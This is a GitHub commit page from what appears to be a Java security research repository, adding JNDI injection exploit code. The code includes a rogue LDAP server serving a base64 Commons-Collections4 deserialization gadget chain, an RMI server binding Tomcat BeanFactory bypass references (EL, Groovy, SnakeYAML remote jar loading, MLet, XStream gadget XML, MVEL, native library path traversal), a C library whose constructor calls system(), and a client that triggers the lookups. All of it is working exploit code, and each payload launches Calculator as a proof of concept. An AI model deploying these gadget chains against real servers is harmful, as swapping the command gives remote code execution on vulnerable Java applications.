Skip to content

Commit 45c1dc0

Browse files
WhoopsunixWhoopsunix
committed
add JNDI :)
1 parent d5f0822 commit 45c1dc0

File tree

15 files changed

+591
-23
lines changed

15 files changed

+591
-23
lines changed

‎Expression/MVELAttack/src/main/java/com/ppp/Demo.java

-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@ public class Demo {
1313
public static void main(String[] args) {
1414
String poc = "Runtime.getRuntime().exec(\"open -a Calculator.app\")";
1515
System.out.println(eval(poc));
16-
;
1716
}
1817

1918
public static Object eval(String poc) {

‎JNDIAttack/pom.xml

+77
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212

1313
<properties>
1414
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
<tomcat.version>8.5.78</tomcat.version>
1516
</properties>
1617

1718
<dependencies>
@@ -26,6 +27,82 @@
2627
<artifactId>commons-collections4</artifactId>
2728
<version>4.0</version>
2829
</dependency>
30+
<dependency>
31+
<groupId>com.unboundid</groupId>
32+
<artifactId>unboundid-ldapsdk</artifactId>
33+
<version>3.1.1</version>
34+
<scope>compile</scope>
35+
</dependency>
36+
37+
38+
<dependency>
39+
<groupId>org.apache.tomcat</groupId>
40+
<artifactId>tomcat-catalina</artifactId>
41+
<version>${tomcat.version}</version>
42+
</dependency>
43+
<dependency>
44+
<groupId>org.apache.tomcat</groupId>
45+
<artifactId>tomcat-jasper</artifactId>
46+
<version>${tomcat.version}</version>
47+
</dependency>
48+
<!-- JDBC -->
49+
<dependency>
50+
<groupId>org.apache.tomcat</groupId>
51+
<artifactId>tomcat-dbcp</artifactId>
52+
<version>${tomcat.version}</version>
53+
<!-- <version>7.0.109</version>-->
54+
</dependency>
55+
<dependency>
56+
<groupId>commons-dbcp</groupId>
57+
<artifactId>commons-dbcp</artifactId>
58+
<version>1.4</version>
59+
</dependency>
60+
<dependency>
61+
<groupId>org.apache.commons</groupId>
62+
<artifactId>commons-dbcp2</artifactId>
63+
<version>2.12.0</version>
64+
</dependency>
65+
<dependency>
66+
<groupId>com.h2database</groupId>
67+
<artifactId>h2</artifactId>
68+
<version>1.4.191</version>
69+
</dependency>
70+
<dependency>
71+
<groupId>com.alibaba</groupId>
72+
<artifactId>druid</artifactId>
73+
<version>1.1.0</version>
74+
</dependency>
75+
76+
77+
78+
<dependency>
79+
<groupId>mysql</groupId>
80+
<artifactId>mysql-connector-java</artifactId>
81+
<version>5.1.47</version>
82+
</dependency>
83+
84+
<dependency>
85+
<groupId>org.codehaus.groovy</groupId>
86+
<artifactId>groovy-all</artifactId>
87+
<version>2.4.9</version>
88+
</dependency>
89+
<dependency>
90+
<groupId>org.yaml</groupId>
91+
<artifactId>snakeyaml</artifactId>
92+
<version>1.33</version>
93+
</dependency>
94+
95+
<dependency>
96+
<groupId>com.thoughtworks.xstream</groupId>
97+
<artifactId>xstream</artifactId>
98+
<version>1.4.17</version>
99+
</dependency>
100+
<dependency>
101+
<groupId>org.mvel</groupId>
102+
<artifactId>mvel2</artifactId>
103+
<version>2.2.8.Final</version>
104+
</dependency>
105+
29106
</dependencies>
30107

31108
<build>

‎JNDIAttack/src/main/java/jndi/Exec.c

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
// gcc -shared -fPIC Exec.c -o Exec.dylib
2+
// gcc -shared -fPIC Exec.c -o Exec.so
3+
// gcc -m64 Exec.c -fPIC --shared -o Exec.dll
4+
#include <stdlib.h>
5+
#include <stdio.h>
6+
#include <string.h>
7+
8+
__attribute__ ((__constructor__)) void preload (void){
9+
system("open -a Calculator");
10+
}

‎JNDIAttack/src/main/java/jndi/JNDIClient.java

+39-1
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,44 @@ public static void client2() throws Exception {
2525
// JDK >= 8u121
2626
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
2727

28-
new InitialContext().lookup("rmi://127.0.0.1:1099/Exec");
28+
// new InitialContext().lookup("rmi://127.0.0.1:1099/Exec");
29+
// new InitialContext().lookup("ldap://127.0.0.1:1389/Exec");
30+
31+
32+
/**
33+
* org.apache.naming.factory.BeanFactory
34+
// */
35+
// new InitialContext().lookup("rmi://127.0.0.1:1099/EL");
36+
// new InitialContext().lookup("rmi://127.0.0.1:1098/GroovyClassLoader");
37+
// new InitialContext().lookup("rmi://127.0.0.1:1097/GroovyShell");
38+
// new InitialContext().lookup("rmi://127.0.0.1:1096/WebSphere");
39+
// new InitialContext().lookup("rmi://127.0.0.1:1094/MLet");
40+
// new InitialContext().lookup("rmi://127.0.0.1:1093/Snakeyaml");
41+
// new InitialContext().lookup("rmi://127.0.0.1:1092/Lib");
42+
// new InitialContext().lookup("rmi://127.0.0.1:1091/XStream");
43+
// new InitialContext().lookup("rmi://127.0.0.1:1090/mvel");
44+
45+
46+
/**
47+
* org.apache.catalina.users.MemoryUserDatabaseFactory
48+
*/
49+
// new InitialContext().lookup("rmi://127.0.0.1:1099/xxe");
50+
51+
/**
52+
* JDBC
53+
*/
54+
// new InitialContext().lookup("rmi://127.0.0.1:1099/tomcatDBCP2");
55+
// new InitialContext().lookup("rmi://127.0.0.1:1098/tomcatDBCP");
56+
// new InitialContext().lookup("rmi://127.0.0.1:1097/commonsDBCP2");
57+
// new InitialContext().lookup("rmi://127.0.0.1:1096/commonsDBCP");
58+
// new InitialContext().lookup("rmi://127.0.0.1:1095/tomcatH2DBCP2");
59+
// new InitialContext().lookup("rmi://127.0.0.1:1094/alibabaDruid");
60+
61+
62+
/**
63+
* Test
64+
*/
65+
new InitialContext().lookup("ldap://127.0.0.1:1389/Basic/Command/open -a Calculator.app");
66+
// new InitialContext().lookup("ldap://127.0.0.1:1389/remoteExploit8");
2967
}
3068
}

‎JNDIAttack/src/main/java/jndi/JNDIServer.java

+52-9
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,63 @@
11
package jndi;
22

3-
import com.sun.jndi.rmi.registry.ReferenceWrapper;
3+
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
4+
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
5+
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
6+
import com.unboundid.ldap.listener.InMemoryListenerConfig;
7+
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8+
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
9+
import com.unboundid.ldap.sdk.Entry;
10+
import com.unboundid.ldap.sdk.LDAPResult;
11+
import com.unboundid.ldap.sdk.ResultCode;
412

5-
import javax.naming.Reference;
6-
import java.rmi.registry.LocateRegistry;
7-
import java.rmi.registry.Registry;
13+
import javax.net.ServerSocketFactory;
14+
import javax.net.SocketFactory;
15+
import javax.net.ssl.SSLSocketFactory;
16+
import java.net.InetAddress;
817

918
/**
1019
* @author Whoopsunix
1120
*/
1221
public class JNDIServer {
22+
private static final String LDAP_BASE = "dc=example,dc=com";
23+
1324
public static void main(String[] args) throws Exception {
14-
Registry registry = LocateRegistry.createRegistry(1099);
15-
Reference reference = new Reference("Exec", "jndi.Exec", "http://127.0.0.1:1234/");
16-
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
17-
registry.bind("Exec", wrapper);
18-
System.out.println("run in 1099");
25+
int port = 1389;
26+
27+
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
28+
config.setListenerConfigs(new InMemoryListenerConfig(
29+
"listen", //$NON-NLS-1$
30+
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
31+
port,
32+
ServerSocketFactory.getDefault(),
33+
SocketFactory.getDefault(),
34+
(SSLSocketFactory) SSLSocketFactory.getDefault()));
35+
36+
config.addInMemoryOperationInterceptor(new OperationInterceptor());
37+
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
38+
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
39+
ds.startListening();
40+
}
41+
42+
private static class OperationInterceptor extends InMemoryOperationInterceptor {
43+
@Override
44+
public void processSearchResult(InMemoryInterceptedSearchResult result) {
45+
String base = "Exec";
46+
Entry entry = new Entry(base);
47+
try {
48+
sendResult(result, base, entry);
49+
} catch (Exception e) {
50+
e.printStackTrace();
51+
}
52+
}
53+
54+
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
55+
e.addAttribute("javaClassName", "");
56+
// cc2 open -a Calculator.app
57+
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAACJsr+ur4AAAAyACABADtvcmcvYXBhY2hlL3N0cnV0cy9qYXNwZXJyZXBvcnRzL2phc3BlcnJlcG9ydGNvbnN0YW50cy9WaWV3cwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAFAAYKAAQACAEAIGphdmF4L3NjcmlwdC9TY3JpcHRFbmdpbmVNYW5hZ2VyBwAKCgALAAgBAAJqcwgADQEAD2dldEVuZ2luZUJ5TmFtZQEALyhMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L3NjcmlwdC9TY3JpcHRFbmdpbmU7DAAPABAKAAsAEQEAPmphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCdvcGVuIC1hIENhbGN1bGF0b3IuYXBwJyk7CAATAQAZamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZQcAFQEABGV2YWwBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAFwAYCwAWABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgVx5mnuPG1HGAEADUNvbnN0YW50VmFsdWUAIQACAAQAAAABABoAGwAcAAEAHwAAAAIAHQABAAEABQAGAAEABwAAACsAAgAEAAAAHyq3AAm7AAtZtwAMTCsSDrYAEk0SFE4sLbkAGgIAV7EAAAAAAAB1cQB+ABgAAADxyv66vgAAADIAEQEAIm9yZy9hcGFjaGUvY2xpL3R5cGVoYW5kbGVyL0NvbW1vbnMHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAUamF2YS9pby9TZXJpYWxpemFibGUHAAUBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAHAAgKAAQACgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAABAAYAAQAaAAwADQABABAAAAACAA4AAQABAAcACAABAAkAAAARAAEAAQAAAAUqtwALsQAAAAAAAHB0AAZhbnlTdHJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA=="));
58+
result.sendSearchEntry(e);
59+
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
60+
}
61+
1962
}
2063
}

‎JNDIAttack/src/main/java/jndi/LocalBeanFactoryServer.java

+168
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
package jndi;
2+
3+
import com.sun.jndi.rmi.registry.ReferenceWrapper;
4+
import org.apache.naming.ResourceRef;
5+
6+
import javax.naming.Reference;
7+
import javax.naming.StringRefAddr;
8+
import java.rmi.registry.LocateRegistry;
9+
import java.rmi.registry.Registry;
10+
11+
/**
12+
* @author Whoopsunix
13+
*/
14+
public class LocalBeanFactoryServer {
15+
public static void main(String args[]) throws Exception {
16+
TomcatEL();
17+
GroovyClassLoader();
18+
GroovyGroovyShell();
19+
MLet();
20+
Snakeyaml();
21+
Lib();
22+
XStream();
23+
mvel();
24+
25+
System.out.println("server is running");
26+
}
27+
28+
public static void TomcatEL() throws Exception {
29+
Registry registry = LocateRegistry.createRegistry(1099);
30+
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
31+
"org.apache.naming.factory.BeanFactory", null);
32+
33+
// BeanFactory.getObjectInstance
34+
ref.add(new StringRefAddr("forceString", "Whoopsunix=eval"));
35+
ref.add(new StringRefAddr("Whoopsunix", "Runtime.getRuntime().exec('open -a Calculator.app')"));
36+
// EL 表达式
37+
// ref.add(new StringRefAddr("Whoopsunix", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator.app']).start()\")"));
38+
39+
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
40+
registry.bind("EL", referenceWrapper);
41+
}
42+
43+
public static void GroovyClassLoader() throws Exception {
44+
Registry registry = LocateRegistry.createRegistry(1098);
45+
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,
46+
"org.apache.naming.factory.BeanFactory", null);
47+
ref.add(new StringRefAddr("forceString", "Whoopsunix=parseClass"));
48+
String script = "@groovy.transform.ASTTest(value={\n" +
49+
" assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")\n" +
50+
"})\n" +
51+
"def x\n";
52+
ref.add(new StringRefAddr("Whoopsunix", script));
53+
54+
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
55+
registry.bind("GroovyClassLoader", referenceWrapper);
56+
}
57+
58+
public static void GroovyGroovyShell() throws Exception {
59+
Registry registry = LocateRegistry.createRegistry(1097);
60+
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,
61+
"org.apache.naming.factory.BeanFactory", null);
62+
ref.add(new StringRefAddr("forceString", "Whoopsunix=evaluate"));
63+
ref.add(new StringRefAddr("Whoopsunix", "'open -a Calculator.app'.execute()"));
64+
65+
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
66+
registry.bind("GroovyShell", referenceWrapper);
67+
}
68+
69+
70+
public static void MLet() throws Exception {
71+
Registry registry = LocateRegistry.createRegistry(1094);
72+
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true,
73+
"org.apache.naming.factory.BeanFactory", null);
74+
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
75+
ref.add(new StringRefAddr("a", "java.lang.String"));
76+
ref.add(new StringRefAddr("b", "http://127.0.0.1:1111/"));
77+
ref.add(new StringRefAddr("c", "Find"));
78+
79+
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
80+
registry.bind("MLet", referenceWrapper);
81+
}
82+
83+
public static void Snakeyaml() throws Exception {
84+
Registry registry = LocateRegistry.createRegistry(1093);
85+
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
86+
true, "org.apache.naming.factory.BeanFactory", null);
87+
88+
String jar = "!!javax.script.ScriptEngineManager [\n" +
89+
" !!java.net.URLClassLoader [[\n" +
90+
" !!java.net.URL [\"http://127.0.0.1:1234/SnakeyamlDemo-1.0.jar\"]\n" +
91+
" ]]\n" +
92+
"]";
93+
94+
ref.add(new StringRefAddr("forceString", "Whoopsunix=load"));
95+
ref.add(new StringRefAddr("Whoopsunix", jar));
96+
97+
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
98+
registry.bind("Snakeyaml", referenceWrapper);
99+
}
100+
101+
// todo 其他
102+
public static void Lib() throws Exception {
103+
Registry registry = LocateRegistry.createRegistry(1092);
104+
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
105+
true, "org.apache.naming.factory.BeanFactory", null);
106+
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
107+
ref.add(new StringRefAddr("a", "../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/Exec"));
108+
109+
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
110+
registry.bind("Lib", referenceWrapper);
111+
}
112+
113+
public static void XStream() throws Exception {
114+
Registry registry = LocateRegistry.createRegistry(1091);
115+
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
116+
true, "org.apache.naming.factory.BeanFactory", null);
117+
String xml = "<java.util.PriorityQueue serialization=\"custom\">\n" +
118+
" <unserializable-parents/>\n" +
119+
" <java.util.PriorityQueue>\n" +
120+
" <default>\n" +
121+
" <size>2</size>\n" +
122+
" <comparator class=\"org.apache.commons.collections4.comparators.TransformingComparator\">\n" +
123+
" <decorated class=\"org.apache.commons.collections4.comparators.ComparableComparator\"/>\n" +
124+
" <transformer class=\"org.apache.commons.collections4.functors.InvokerTransformer\">\n" +
125+
" <iMethodName>newTransformer</iMethodName>\n" +
126+
" <iParamTypes/>\n" +
127+
" <iArgs/>\n" +
128+
" </transformer>\n" +
129+
" </comparator>\n" +
130+
" </default>\n" +
131+
" <int>3</int>\n" +
132+
" <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization=\"custom\">\n" +
133+
" <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
134+
" <default>\n" +
135+
" <__name>anyStr</__name>\n" +
136+
" <__bytecodes>\n" +
137+
" <byte-array>yv66vgAAADIAIAEAKW9yZy9hcGFjaGUvY29yZS9hc3luY2NvbnRleHRpbXBsL0NhdGFsaW5hBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQAgamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZU1hbmFnZXIHAAoKAAsACAEAAmpzCAANAQAPZ2V0RW5naW5lQnlOYW1lAQAvKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZTsMAA8AEAoACwARAQA+amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJ29wZW4gLWEgQ2FsY3VsYXRvci5hcHAnKTsIABMBABlqYXZheC9zY3JpcHQvU2NyaXB0RW5naW5lBwAVAQAEZXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DAAXABgLABYAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAAAAAEAGgAbABwAAQAfAAAAAgAdAAEAAQAFAAYAAQAHAAAAKwACAAQAAAAfKrcACbsAC1m3AAxMKxIOtgASTRIUTiwtuQAaAgBXsQAAAAAAAA==</byte-array>\n" +
138+
" <byte-array>yv66vgAAADIAEQEAPW9yZy9hcGFjaGUvcm9vdGV4dGVybmFsY29udGV4dHJlc291cmNlbG9hZGVyL215ZmFjZXMvUmVzb3VyY2UHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAUamF2YS9pby9TZXJpYWxpemFibGUHAAUBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAHAAgKAAQACgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAABAAYAAQAaAAwADQABABAAAAACAA4AAQABAAcACAABAAkAAAARAAEAAQAAAAUqtwALsQAAAAAAAA==</byte-array>\n" +
139+
" </__bytecodes>\n" +
140+
" <__transletIndex>0</__transletIndex>\n" +
141+
" <__indentNumber>0</__indentNumber>\n" +
142+
" </default>\n" +
143+
" <boolean>false</boolean>\n" +
144+
" </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
145+
" </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" +
146+
" <int>1</int>\n" +
147+
" </java.util.PriorityQueue>\n" +
148+
"</java.util.PriorityQueue>";
149+
ref.add(new StringRefAddr("forceString", "Whoopsunix=fromXML"));
150+
ref.add(new StringRefAddr("Whoopsunix", xml));
151+
152+
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
153+
registry.bind("XStream", referenceWrapper);
154+
}
155+
156+
public static void mvel() throws Exception {
157+
Registry registry = LocateRegistry.createRegistry(1090);
158+
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
159+
true, "org.apache.naming.factory.BeanFactory", null);
160+
ref.add(new StringRefAddr("forceString", "Whoopsunix=exec"));
161+
ref.add(new StringRefAddr("Whoopsunix", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));
162+
163+
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
164+
registry.bind("mvel", referenceWrapper);
165+
}
166+
167+
168+
}

0 commit comments

Comments
 (0)